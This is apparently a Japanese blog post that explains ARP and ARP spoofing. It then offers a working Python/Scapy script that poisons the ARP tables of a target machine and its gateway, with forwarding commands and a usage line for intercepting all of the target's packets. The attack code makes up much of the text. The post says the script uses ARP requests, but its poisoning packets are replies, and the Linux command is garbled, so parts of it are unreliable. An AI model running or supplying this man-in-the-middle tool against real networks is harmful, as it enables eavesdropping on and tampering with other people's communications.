ARPスプーフィング
まずARPとはなんぞやと言うことで自分なりに説明してみます。(図なんか作ったらわかりやすいと思うんだけど)
ローカルエリア内(レイヤ2以下)の通信ではIPアドレスからMACアドレスを調べて、そのMACアドレスを元に通信しています。それで「IPアドレスからMACアドレスを調べる」という部分を担当しているのがARPプロトコルと言うわけです。
ARPの仕組みがざっくりわかったところで、ARPスプーフィングですが、IPアドレスからMACアドレスを求めるという操作は、通信するたびに行なっていると処理が重くなって不便ですよね?
実は「このIPアドレスはこのMACアドレス」と言う感じのデータを端末は所有しているのです。そしてその対応データ(以下ARPテーブル)を変更してやろう(騙そう)とするのがARPスプーフィングです。
これを実行すると本来ならルーターに送るはずのパケットを攻撃者の端末に送信してしまい、またルーターのARPテーブルも変更してやるとで上手いことに通信に割って入ることが出来るのです。
以下のプログラムは次のことを実行しています。
1.ゲートウェイ、ターゲットに偽装したARPリクエストパケットを送る。(これで割って入ります)
2.プログラムを終了する前に正しいARPパケットを送り、通常通信に戻す。
ポイントは1.で多くのARPスプーフィングツールではARPリクエストではなくリプライを毎秒送りつけ、攻撃対象のARPテーブル更新時のタイミングで割り込むと言うものが多いです。これではARPテーブル更新のタイミングが来るまで待ってないといけません。僕の実装あまり知られていない「ARPリクエストでARPテーブルが書き換わる」という仕様を利用しています。
#coding:utf-8
from scapy.all import *
import time
import sys
conf.verb = 0
gateway_ip = sys.argv[1]
gateway_mac = sys.argv[2]
target_ip = sys.argv[3]
target_mac = sys.argv[4]
def main():
try:
print "[*] Start ARPspoofing..."
poison_target(target_ip,target_mac,gateway_ip,gateway_mac)
except KeyboardInterrupt:
pass
finally:
time.sleep(2)
restore_table(gateway_ip,gateway_mac,target_ip,target_mac)
sys.exit(0)
def poison_target(target_ip,target_mac,gateway_ip,gateway_mac):
poisoning_target = Ether(dst=target_mac)/ARP()
poisoning_target.op = 2
poisoning_target.psrc = gateway_ip
poisoning_target.pdst = target_ip
poisoning_gateway = Ether(dst=gateway_mac)/ARP()
poisoning_gateway.op = 2
poisoning_gateway.psrc = target_ip
poisoning_gateway.pdst = gateway_ip
while True:
sendp(poisoning_target)
sendp(poisoning_gateway)
time.sleep(5)
print "[*] Finished."
return
def restore_table(gateway_ip,gateway_mac,target_ip,target_mac):
print "[*] Restoring target."
send(ARP(op=1,psrc=gateway_ip,hwsrc=gateway_mac,pdst=target_ip,hwdst=target_mac),count=3)
if __name__=="__main__":
main()
macの場合は
sudo sysctl -w net.inet.ip.forwarding=1
Linuxの場合は
sudo sysctl -w sudo sysctl -w net.ipv4.ip_forward=1
を実行し
sudo python arpspoofing.py ゲートウェイIP ゲートウェイMAC ターゲットIP ターゲットMAC
でターゲットの指定した端末の送信パケットが全て自分の端末に飛んで来ます。
###問題点
MACアドレスを指定するのは、以前まではブロードキャストによって相手(ゲートウェイ、ターゲット)のMACアドレスを取得していましたが、その際に送られる要求パケットに含まれる自分の端末(攻撃者)のMACアドレスがARPテーブルに乗ってしまうために、ARPスプーフィングを実行した際にMACアドレスがダブってしまいうまくいかないことがあるために指定することにしました。
ただ、ゲートウェイにはARPスプーフィングを実行する以前に攻撃者のMACアドレスが存在しているためダブりが存在してしまうことになりますよね。。ってことで今自分が思う解決策としては攻撃者のMACアドレスを偽装して〜みたいなことを考えてます。仮想マシンでもいいかも